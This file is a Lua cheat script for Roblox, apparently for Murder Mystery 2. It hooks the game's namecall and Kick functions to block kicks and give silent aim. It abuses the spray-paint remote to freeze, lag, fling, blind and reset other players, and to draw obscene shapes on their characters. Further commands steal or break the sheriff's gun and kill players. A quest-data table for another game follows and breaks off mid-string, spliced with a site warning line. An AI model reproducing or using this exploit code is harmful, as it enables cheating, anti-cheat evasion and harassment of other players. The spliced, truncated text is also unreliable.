workspace.ChildRemoved:Connect(function()
task.spawn(function()
task.wait()
zK()
end)
end)
O.PlayerRemoving:Connect(function(o)
local Y = N.ESPFolder:FindFirstChild(o.Name)
if Y then
Y:Destroy()
end
end)
OK("freeze", true, function(o)
sK(function(Y)
for o, j in pairs(o) do
if j and j.Character then
local o = j.Character:FindFirstChild("LeftLowerArm")
if o then
for j = 1, 30, 1 do
z.Event(Y.Remote, 0, Enum.NormalId.Top, 2048, o, o.CFrame)
end
end
end
end
end)
end)
OK("knockup", true, function(o)
sK(function(Y)
for o, j in pairs(o) do
if j and j.Character then
local o = j.Character:FindFirstChild("LeftLowerArm")
local Z = j.Character:FindFirstChild("RightLowerArm")
if o and Z then
for o = 1, 50, 1 do
z.Event(Y.Remote, 0, Enum.NormalId.Top, 2048, Z, Z.CFrame)
end
for j = 1, 50, 1 do
z.Event(Y.Remote, 0, Enum.NormalId.Top, 2048, o, o.CFrame)
end
end
end
end
end)
end)
OK("lag", true, function(o)
sK(function(Y)
for o, j in pairs(o) do
if j and j.Character then
local o = h(j)
if o then
for j = 1, 250, 1 do
z.Event(Y.Remote, 0, Enum.NormalId.Right, 2048, o, o.CFrame)
end
end
end
end
end)
end)
OK("camerashake", true, function(o)
sK(function(Y)
for o, j in pairs(o) do
if j and j.Character then
local o = h(j)
if o then
z.Event(Y.Remote, 0, Enum.NormalId.Front, 8, Head, Head.CFrame * CFrame.new(0, 1.5, 0))
end
end
end
end)
end)
OK("spoofrole", true, function(o)
sK(function(Y)
for o, j in pairs(o) do
if j and j.Character then
local o = j.Character:FindFirstChild("Head")
if o then
z.Event(Y.Remote, q.Murderer == j.Name and 17528040335 or q.Sheriff == j.Name and (not q.Hero and 17528079377) or q.Sheriff == j.Name and (q.Hero and 17528057967) or 17528011613, Enum.NormalId.Front, 5.5, o, o.CFrame * CFrame.new(0, 1.5, 0))
z.Event(Y.Remote, q.Murderer == j.Name and 17528040335 or q.Sheriff == j.Name and (not q.Hero and 17528079377) or q.Sheriff == j.Name and (q.Hero and 17528057967) or 17528011613, Enum.NormalId.Back, 5.5, o, o.CFrame * CFrame.new(0, 1.5, 0))
end
end
end
end)
end)
OK("box", true, function(o)
sK(function(Y)
for o, j in pairs(o) do
if j and j.Character then
local o = h(j)
if o then
local j = o.CFrame
z.Event(Y.Remote, N.BoxSprayId, Enum.NormalId.Top, 6, o, j * CFrame.new(0, 3, 0))
z.Event(Y.Remote, N.BoxSprayId, Enum.NormalId.Bottom, 6, o, j * CFrame.new(0, 3.15, 0))
z.Event(Y.Remote, N.BoxSprayId, Enum.NormalId.Bottom, 6, o, j * CFrame.new(0, -2, 0))
z.Event(Y.Remote, N.BoxSprayId, Enum.NormalId.Top, 6, o, j * CFrame.new(0, -3, 0))
z.Event(Y.Remote, N.BoxSprayId, Enum.NormalId.Front, 6, o, j * CFrame.new(0, .1, 3.1))
z.Event(Y.Remote, N.BoxSprayId, Enum.NormalId.Back, 6, o, j * CFrame.new(0, .1, 2.86))
z.Event(Y.Remote, N.BoxSprayId, Enum.NormalId.Front, 6, o, j * CFrame.new(0, .1, -2))
z.Event(Y.Remote, N.BoxSprayId, Enum.NormalId.Back, 6, o, j * CFrame.new(0, .1, -3))
z.Event(Y.Remote, N.BoxSprayId, Enum.NormalId.Right, 6, o, j * CFrame.new(2.86, .1, 0))
z.Event(Y.Remote, N.BoxSprayId, Enum.NormalId.Left, 6, o, j * CFrame.new(3.1, .1, 0))
z.Event(Y.Remote, N.BoxSprayId, Enum.NormalId.Right, 6, o, j * CFrame.new(-3, .1, 0))
z.Event(Y.Remote, N.BoxSprayId, Enum.NormalId.Left, 6, o, j * CFrame.new(-2, .1, 0))
end
end
end
end)
end)
OK("blind", true, function(o)
sK(function(Y)
for o, j in pairs(o) do
if j and j.Character then
local o = h(j)
if o then
for j = 1, 5, 1 do
z.Event(Y.Remote, 14787385911, Enum.NormalId.Left, 55, o, o.CFrame * CFrame.new(0, 5 - 5 * (j - 1), 0))
z.Event(Y.Remote, 14787385911, Enum.NormalId.Right, 55, o, o.CFrame * CFrame.new(0, 5 - 5 * (j - 1), 0))
z.Event(Y.Remote, 14787385911, Enum.NormalId.Top, 55, o, o.CFrame * CFrame.new(0, 5 - 5 * (j - 1), 0))
z.Event(Y.Remote, 14787385911, Enum.NormalId.Bottom, 55, o, o.CFrame * CFrame.new(0, 5 - 5 * (j - 1), 0))
z.Event(Y.Remote, 14787385911, Enum.NormalId.Back, 55, o, o.CFrame * CFrame.new(0, 5 - 5 * (j - 1), 0))
z.Event(Y.Remote, 14787385911, Enum.NormalId.Front, 55, o, o.CFrame * CFrame.new(0, 5 - 5 * (j - 1), 0))
end
end
end
end
end)
end)
OK("slickback", true, function(o)
sK(function(Y)
for o, j in pairs(o) do
if j and j.Character then
local o = j.Character:FindFirstChild("LeftLowerArm")
local Z = j.Character:FindFirstChild("RightLowerArm")
if o and Z then
z.Event(Y.Remote, 0, Enum.NormalId.Front, 10000, o, o.CFrame * CFrame.new(0, 0, -1))
z.Event(Y.Remote, 0, Enum.NormalId.Front, 10000, Z, Z.CFrame * CFrame.new(0, 0, -1))
end
end
end
end)
end)
OK("reset", true, function(o)
sK(function(Y)
for o, j in pairs(o) do
if j and j.Character then
local o = h(j)
if o then
z.Event(Y.Remote, 0, Enum.NormalId.Right, 10, o, CFrame.new(0, - math.huge, 0))
end
end
end
end)
end)
OK("hallow", true, function(o)
sK(function(Y)
for o, j in pairs(o) do
if j and j.Character then
local o = h(j)
if o then
for j = 1, 10, 1 do
z.Event(Y.Remote, 17618294446, Enum.NormalId.Top, 2, o, o.CFrame * CFrame.new(0, 2.5 + j / 100, 0))
z.Event(Y.Remote, 17618294446, Enum.NormalId.Bottom, 2, o, o.CFrame * CFrame.new(0, 2.5 + j / 100, 0))
end
end
end
end
end)
end)
OK("glitch", true, function(o)
sK(function(Y)
for o, j in pairs(o) do
if j and j.Character then
local o = h(j)
if o then
for j = 1, 150, 1 do
z.Event(Y.Remote, 0, Enum.NormalId.Right, 10, o, o.CFrame)
end
end
end
end
end)
end)
OK("yeet", true, function(o)
sK(function(Y)
for o, j in pairs(o) do
if j and j.Character then
local o = h(j)
if o then
for j = 1, 5, 1 do
z.Event(Y.Remote, 0, Enum.NormalId.Right, 999999, o, CFrame.new(99999, 99999, 99999))
end
end
end
end
end)
end)
OK("floorclip", true, function(o)
sK(function(Y)
for o, j in pairs(o) do
if j and j.Character then
local o = j.Character:FindFirstChild("RighHand")
if o then
z.Event(Y.Remote, 0, Enum.NormalId.Front, 2500, o, CFrame.new(0, -25000, 0))
z.Event(Y.Remote, 0, Enum.NormalId.Front, 2500, o, CFrame.new(0, 25000, 0))
end
end
end
end)
end)
OK("pp", true, function(o)
sK(function(Y)
for o, j in pairs(o) do
if j and j.Character then
local o = h(j)
if o then
xK(Y, N.PenisColor == "White" and 17621332813 or N.PenisColor == "Black" and 17621324485, o, o.CFrame * CFrame.new(-1, -1, -1))
xK(Y, N.PenisColor == "White" and 17621332813 or N.PenisColor == "Black" and 17621324485, o, o.CFrame * CFrame.new(1, -1, -1))
xK(Y, N.PenisColor == "White" and 17621332813 or N.PenisColor == "Black" and 17621324485, o, o.CFrame * CFrame.new(0, -1, -1))
xK(Y, N.PenisColor == "White" and 17621332813 or N.PenisColor == "Black" and 17621324485, o, o.CFrame * CFrame.new(0, -1, -2))
xK(Y, N.PenisColor == "White" and 17621332813 or N.PenisColor == "Black" and 17621324485, o, o.CFrame * CFrame.new(0, -1, -3))
xK(Y, 17621332813, o, o.CFrame * CFrame.new(0, -1, -4))
end
end
end
end)
end)
OK("backpp", true, function(o)
sK(function(Y)
for o, j in pairs(o) do
if j and j.Character then
local o = h(j)
if o then
xK(Y, N.PenisColor == "White" and 17621332813 or N.PenisColor == "Black" and 17621324485, o, o.CFrame * CFrame.new(-1, -1, 4.5))
xK(Y, N.PenisColor == "White" and 17621332813 or N.PenisColor == "Black" and 17621324485, o, o.CFrame * CFrame.new(1, -1, 4.5))
xK(Y, N.PenisColor == "White" and 17621332813 or N.PenisColor == "Black" and 17621324485, o, o.CFrame * CFrame.new(0, -1, 4.5))
xK(Y, N.PenisColor == "White" and 17621332813 or N.PenisColor == "Black" and 17621324485, o, o.CFrame * CFrame.new(0, -1, 3.5))
xK(Y, N.PenisColor == "White" and 17621332813 or N.PenisColor == "Black" and 17621324485, o, o.CFrame * CFrame.new(0, -1, 2.5))
xK(Y, 17621332813, o, o.CFrame * CFrame.new(0, -1, 1.5))
end
end
end
end)
end)
OK("blacklobby", false, function(o)
sK(function(o)
for Y, j in pairs(workspace.Lobby:GetDescendants()) do
task.wait()
if j:IsA("BasePart") or j:IsA("Part") then
z.Event(o.Remote, 14787385911, Enum.NormalId.Top, 9999, j, j.CFrame)
z.Event(o.Remote, 14787385911, Enum.NormalId.Front, 9999, j, j.CFrame)
z.Event(o.Remote, 14787385911, Enum.NormalId.Bottom, 9999, j, j.CFrame)
z.Event(o.Remote, 14787385911, Enum.NormalId.Right, 9999, j, j.CFrame)
z.Event(o.Remote, 14787385911, Enum.NormalId.Left, 9999, j, j.CFrame)
z.Event(o.Remote, 14787385911, Enum.NormalId.Back, 9999, j, j.CFrame)
end
end
end)
end)
OK("stealgun", false, function(o)
local Y = V(q.Sheriff)
if Y and Y.Character then
sK(function(o)
local j = h(Y)
if j then
local Y = 0
z.Event(o.Remote, 0, Enum.NormalId.Right, 10, j, CFrame.new(0, - math.huge, 0))
repeat
task.wait()
Y = Y + 1
until workspace:FindFirstChild("GunDrop") or Y >= 25
task.spawn(function()
if workspace:FindFirstChild("GunDrop") and not x:GetValue("Grabbing") then
local o = (h(D)).CFrame
x:SetValue("Grabbing", true)
x:MakeTask("Grab Gun", G.Heartbeat, function()
if x:GetValue("Grabbing") then
m(D, "CFrame", workspace.GunDrop.CFrame)
D.Character.Humanoid.PlatformStand = false
end
end)
repeat
task.wait()
until not workspace:FindFirstChild("GunDrop")
x:RemoveTask("Grab Gun")
m(D, "CFrame", o)
x:SetNil("Grabbing")
D.Character.Humanoid.PlatformStand = false
D.Character.Humanoid:ChangeState(1)
end
end)
end
end)
end
end)
OK("breakgun", false, function(o)
local Y = V(q.Sheriff)
if Y and Y.Name ~= g then
local o = false
for Y, j in pairs(Y.Backpack:GetChildren()) do
if j.Name == "Gun" and j:IsA("Tool") then
o = j
end
end
if not o then
for Y, j in pairs(Y.Character:GetChildren()) do
if j.Name == "Gun" and j:IsA("Tool") then
o = j
end
end
end
if o then
local Y, j = pcall(function()
z.Function(o.KnifeServer.ShootGun, 0, CFrame.new(), "AH")
end)
if j and not Y then
I("<font color=\"rgb(\048, \050\053\053, \048)\">Successfully</font> Breaked the gun from <font color=\"rgb(\048, \048, \050\053\053)\">Sheriff</font>!")
end
end
end
end)
OK("kill", true, function(o)
if o ~= nil then
if v == "Murderer" and l(Player) then
local Y = false
for o, j in pairs(D.Backpack:GetChildren()) do
if j.Name == "Knife" and j:IsA("Tool") then
j.Parent = D.Character
Y = j
end
end
if not Y then
for o, j in pairs(D.Character:GetChildren()) do
if j.Name == "Knife" and j:IsA("Tool") then
Y = j
end
end
end
if Y then
for o, j in pairs(o) do
HK(j, Y)
end
end
end
end
end)
OK("shootmurderer", false, function(o)
local Y = V(q.Murderer)
if Y and (Y.Character and (l(Y) and not x:GetValue("Shooting Murderer"))) then
local o = false
local j = false
for Y, Z in pairs(D.Backpack:GetChildren()) do
if Z.Name == "Gun" and Z:IsA("Tool") then
Z.Parent = D.Character
o = Z
j = true
end
end
if not o then
for Y, j in pairs(D.Character:GetChildren()) do
if j.Name == "Gun" and j:IsA("Tool") then
o = j
end
end
end
if o then
local Z = (h(D)).CFrame
local t
local K
x:SetValue("Shooting Murderer", true)
K = G.Heartbeat:Connect(function()
m(D, "CFrame", (h(Y)).CFrame * CFrame.new(0, 0, 5))
end)
task.wait(.2)
t = G.Heartbeat:Connect(function()
z.Function(o.KnifeServer.ShootGun, 0, ((h(Y)).CFrame + (Y.Character.Humanoid.MoveDirection * Y.Character.Humanoid.WalkSpeed) / 16).Position, "AH")
end)
task.wait()
K:Disconnect()
t:Disconnect()
x:SetNil("Shooting Murderer")
m(D, "CFrame", Z)
if j then
o.Parent = D.Backpack
end
end
end
end)
OK("trap", true, function(o)
if o ~= nil then
if u("Trap") then
for o, Y in pairs(o) do
if Y and Y.Character then
z.Function(A.TrapSystem.PlaceTrap, (h(Y)).CFrame)
end
end
else
B("Uh oh! you need Trap Perks for this!")
end
end
end);
(coroutine.wrap(function()
for o, Y in pairs(O:GetPlayers()) do
Y.CharacterAdded:Connect(function()
task.spawn(function()
local o = false
repeat
task.wait()
pcall(function()
local j = Y.Character.UpperTorso
if j then
o = true
end
end)
until o
local j = Instance.new("BillboardGui")
j.Name = "Target"
j.Parent = Y.Character.UpperTorso
local Z = Instance.new("ImageLabel")
Z.Name = "Icon"
Z.Parent = j
end)
end)
pcall(function()
task.spawn(function()
local o = false
repeat
task.wait()
pcall(function()
local j = Y.Character.UpperTorso
if j then
o = true
end
end)
until o
local j = Instance.new("BillboardGui")
j.Name = "Target"
j.Parent = Y.Character.UpperTorso
local Z = Instance.new("ImageLabel")
Z.Name = "Icon"
Z.Parent = j
end)
end)
end
O.PlayerAdded:Connect(function(o)
o.CharacterAdded:Connect(function()
task.spawn(function()
local Y = false
repeat
task.wait()
pcall(function()
local j = o.Character.UpperTorso
if j then
Y = true
end
end)
until Y
local j = Instance.new("BillboardGui")
j.Name = "Target"
j.Parent = o.Character.UpperTorso
local Z = Instance.new("ImageLabel")
Z.Name = "Icon"
Z.Parent = j
end)
end)
pcall(function()
task.spawn(function()
local Y = false
repeat
task.wait()
pcall(function()
local j = o.Character.UpperTorso
if j then
Y = true
end
end)
until Y
local j = Instance.new("BillboardGui")
j.Name = "Target"
j.Parent = o.Character.UpperTorso
local Z = Instance.new("ImageLabel")
Z.Name = "Icon"
Z.Parent = j
end)
end)
end)
end))()
r.AllInOne = GK(game, "__namecall", function(Y, ...)
local j = getnamecallmethod()
if not checkcaller() then
local Z = {
...
}
if j == "InvokeServer" then
if Y.Name == "ShootGun" and Y.Parent.Name == "KnifeServer" then
if N.SheriffSilentAim then
if f["Shooting Murderer"] then
return
else
local o = O[q.Murderer]
local j = N.SharpShooter and o.Character.PrimaryPart or o.Character.HumanoidRootPart
Z[1] = 0
if N.SheriffSilentAimAccuracy == "Seismic" then
local o = j.AssemblyLinearVelocity
if o.Magnitude == 0 then
Z[2] = j.Position
else
local Y = (o.Unit * j.Velocity.Magnitude) / 16.5
local t = Y.Y
if t > 2.65 then
t = 2.65
elseif t < -2 then
t = -2
end
Z[2] = j.Position + Vector3.new(Y.X, t, Y.Z / 1.25)
end
elseif N.SheriffSilentAimAccuracy == "Overflow" then
local Y = j.AssemblyLinearVelocity
if Y.Magnitude == 0 then
Z[2] = j.Position
else
local t = (Y.Unit * j.Velocity.Magnitude) / 17 + o.Character.Humanoid.MoveDirection
local K = t.Y
if K > 2.5 then
K = 2.5
elseif K < -2 then
K = -2
end
Z[2] = j.Position + Vector3.new(t.X, K, t.Z)
end
elseif N.SheriffSilentAimAccuracy == "Dynamic" then
Z[2] = j.Position + o.Character.Humanoid.MoveDirection
elseif N.SheriffSilentAimAccuracy == "Regular" then
Z[2] = j.Position
end
return r.AllInOne(Y, unpack(Z))
end
end
end
return r.AllInOne(Y, ...)
elseif j == "FireServer" then
if Y.Name == "Throw" then
if N.MurdererSilentAim then
local o = eK(N.MurdererSilentAimTargetChecking)
if o then
local Y = o.Character.HumanoidRootPart.AssemblyLinearVelocity / 3
Z[1] = CFrame.new(o.Character.HumanoidRootPart.Position + Vector3.new(Y.X, Y.Y / 1.5, Y.Z))
end
return r.AllInOne(Y, Z[1], Z[2])
end
elseif Y.Name == "Remote" then
if Y.Parent.Name == "SprayPaint" then
if N.InfiniteSpraySize then
Z[3] = 9999
return r.AllInOne(Y, Z[1], Z[2], Z[3], Z[4], Z[5])
end
elseif Y.Parent.Name == "FakeBomb" then
if N.AutoPrankBombClutch then
Z[1] = D.Character.Head.CFrame * CFrame.new(0, -4, -5)
return r.AllInOne(Y, Z[1], Z[2])
end
end
elseif Y == o then
if N.AlwaysAliveChat then
Z[2] = "alive"
return r.AllInOne(Y, Z[1], Z[2])
end
end
return r.AllInOne(Y, ...)
elseif j == "Kick" then
if Y == D then
if N.AntiKick then
return
end
end
end
end
return r.AllInOne(Y, ...)
end)
r.KickHook = hookfunction(D.Kick, newcclosure(function(...)
if N.AntiKick then
return
else
return r.KickHooks(...)
end
end))
for o, Y in pairs(getconnections(A.UpdatePlayerData.OnClientEvent)) do
pcall(zK)
Y.Function(R)
end
if H then
vK()
end
end
local function qK()
local o = {
Bandit = {
Enemy = "Bandit [Lv. \053]",
QuestName = "BanditQuest\049",
EnemyName = "Bandit";
LevelQuest = 1,
CFramePos = CFrame.new(1059.37195, 15.4495068, 1550.4231, .939700544, 0, 0, 0, 1, 0, .341998369, 0, .939700544);
QuestGiver = "Bandit Quest Giver",
World = 1
};
Monkey = {
Enemy = "Monkey [Lv. \049\052]";
QuestName = "JungleQuest";
EnemyName = "Monkey";
LevelQuest = 1,
CFramePos = CFrame.new(-1598, 35.5501175, 153.377838, 0, 0, 1, 0, 1, 0, -1, 0, 0);
QuestGiver = "Adventurer",
World = 1
},
Gorilla = {
Enemy = "Gorilla [Lv. \050\048]",
QuestName = "JungleQuest",
EnemyName = "Gorilla",
LevelQuest = 2,
CFramePos = CFrame.new(-1598, 35.5501175, 153.377838, 0, 0, 1, 0, 1, 0, -1, 0, 0);
QuestGiver = "Adventurer",
World = 1
};
Pirate = {
Enemy = "Pirate [Lv. \051\053]";
QuestName = "BuggyQuest\049";
EnemyName = "Pirate";
LevelQuest = 1,
CFramePos = CFrame.new(-1141, 4.10001802, 3831.5498, .965929627, 0, 0, 0, 1, 0, .258804798, 0, .965929627),
QuestGiver = "Pirate Adventurer";
World = 1
};
Brute = {
Enemy = "Brute [Lv. \052\053]";
QuestName = "BuggyQuest\049",
EnemyName = "Brute",
LevelQuest = 2,
CFramePos = CFrame.new(-1141, 4.10001802, 3831.5498, .965929627, 0, 0, 0, 1, 0, .258804798, 0, .965929627);
QuestGiver = "Pirate Adventurer";
World = 1
};
Desert_Bandit = {
Enemy = "Desert Bandit [Lv. \054\048]";
QuestName = "DesertQuest",
EnemyName = "Desert Bandit";
LevelQuest = 1;
CFramePos = CFrame.new(894.488647, 5.14000702, 4392.43359, .819155693, 0, 0, 0, 1, 0, .573571265, 0, .819155693);
QuestGiver = "Desert Adventurer";
World = 1
};
Desert_Officer = {
Enemy = "Desert Officer [Lv. \055\048]";
QuestName = "DesertQuest",
EnemyName = "Desert Officer",
LevelQuest = 2;
CFramePos = CFrame.new(894.488647, 5.14000702, 4392.43359, .819155693, 0, 0, 0, 1, 0, .573571265, 0, .819155693),
QuestGiver = "Desert Adventurer";
World = 1
};
Snow_Bandit = {
Enemy = "Snow Bandit [Lv. \057\048]",
QuestName = "SnowQuest";
EnemyName = "Snow Bandit",
LevelQuest = 1,
CFramePos = CFrame.new(1389.74451, 88.1519318, -1298, 0, 0, .939684391, 0, 1, 0, 0, 0, 0),
QuestGiver = "Villager";
World = 1
},
Snowman = {
Enemy = "Snowman [Lv. \049\048\048]",
QuestName = "SnowQuest",
EnemyName = "Snowman",
LevelQuest = 2,
CFramePos = CFrame.new(1389.74451, 88.1519318, -1298, 0, 0, .939684391, 0, 1, 0, 0, 0, 0),
QuestGiver = "Villager",
World = 1
};
Chief_Petty_Officer = {
Enemy = "Chief Petty Officer [Lv. \049\050\048]";
QuestName = "MarineQuest\050",
EnemyName = "Cheif Petty Officer";
LevelQuest = 1,
CFramePos = CFrame.new(-5039, 27.3500385, 4324.68018, 0, 0, -1, 0, 1, 0, 1, 0, 0),
QuestGiver = "Marine";
World = 1
};
Sky_Bandit = {
Enemy = "Sky Bandit [Lv. \049\053\048]";
QuestName = "SkyQuest";
EnemyName = "Sky Bandit";
LevelQuest = 1,
CFramePos = CFrame.new(-4839, 716.368591, -2619, .866007268, 0, .500031412, 0, 1, 0, 0, 0, .866007268),
QuestGiver = "Sky Adventurer";
World = 1
},
Dark_Master = {
Enemy = "Dark Master [Lv. \049\055\053]",
QuestName = "SkyQuest";
EnemyName = "Dark Master",
LevelQuest = 2,
CFramePos = CFrame.new(-4839, 716.368591, -2619, .866007268, 0, .500031412, 0, 1, 0, 0, 0, .866007268),
QuestGiver = "Sky Adventurer",
World = 1
},
Prisoner = {
Enemy = "Prisoner [Lv. \049\057\048]",
QuestName = "PrisonerQuest";
EnemyName = "Prisoner";
LevelQuest = 1;
CFramePos = CFrame.new(5308.93115, 1.65517521, 475.120514, 0, 0, 0, 1.60817859e-09, 1, 0, .995993316, 0, 0);
QuestGiver = "Jail Keeper",
World = 1
};
Dangerous_Prisoner = {
Enemy = "Dangerous Prisoner [Lv. \050\049\048]";
QuestName = "PrisonerQuest",
EnemyName = "Dangerous Prisoner";
LevelQuest = 2,
CFramePos = CFrame.new(5308.93115, 1.65517521, 475.120514, 0, 0, 0, 1.60817859e-09, 1, 0, .995993316, 0, 0);
QuestGiver = "Jail Keeper";
World = 1
},
Toga_Warrior = {
Enemy = "Toga Warrior [Lv. \050\053\048]",
QuestName = "ColosseumQuest";
EnemyName = "Toga Warrior",
LevelQuest = 1;
CFramePos = CFrame.new(-1580, 6.35000277, -2986, 0, 0, 0, 0, 1, 0, .857167721, 0, 0),
QuestGiver = "Colosseum Quest Giver",
World = 1
},
Gladiator = {
Enemy = "Gladiator [Lv. \050\055\053]",
QuestName = "ColosseumQuest",
EnemyName = "Gladiator";
LevelQuest = 2,
CFramePos = CFrame.new(-1580, 6.35000277, -2986, 0, 0, 0, 0, 1, 0, .857167721, 0, 0);
QuestGiver = "Colosseum Quest Giver",
World = 1
},
Military_Soldier = {
Enemy = "Military Soldier [Lv. \051\048\048]",
QuestName = "MagmaQuest";
EnemyName = "Military Soldier";
LevelQuest = 1,
CFramePos = CFrame.new(-5313, 10.9500084, 8515.29395, 0, 0, .866048813, 0, 1, 0, 0, 0, 0),
QuestGiver = "The Mayor",
World = 1
};
Military_Spy = {
Enemy = "Military Spy [Lv. \051\050\053]";
QuestName = "MagmaQuest";
EnemyName = "Military Spy",
LevelQuest = 2;
CFramePos = CFrame.new(-5313, 10.9500084, 8515.29395, 0, 0, .866048813, 0, 1, 0, 0, 0, 0),
QuestGiver = "The Mayor";
World = 1
};
Fishman_Warrior = {
Enemy = "Fishman Warrior [Lv. \051\055\053]",
QuestName = "FishmanQuest";
EnemyName = "Fishman Warrior";
LevelQuest = 1;
CFramePos = CFrame.new(61122.65234375, 18.497442245483, 1569.3997802734),
Entrance = Vector3.new(61163.8515625, 11.6796875, 1819.7841796875),
QuestGiver = "King Neptune",
World = 1
},
Fishman_Commando = {
Enemy = "Fishman Commando [Lv. \052\048\048]",
QuestName = "FishmanQuest";
EnemyName = "Fishman Commando",
LevelQuest = 2;
CFramePos = CFrame.new(61122.65234375, 18.497442245483, 1569.3997802734);
Entrance = Vector3.new(61163.8515625, 11.6796875, 1819.7841796875),
QuestGiver = "King Neptune";
World = 1
};
God_Guard = {
Enemy = "God\'s Guard [Lv. \052\053\048]";
QuestName = "SkyExp\049Quest",
EnemyName = "God\'s GuarObfuscated. The code is scrambled, so you can't read what it does. Common for key systems, but take care.
Check for youre self.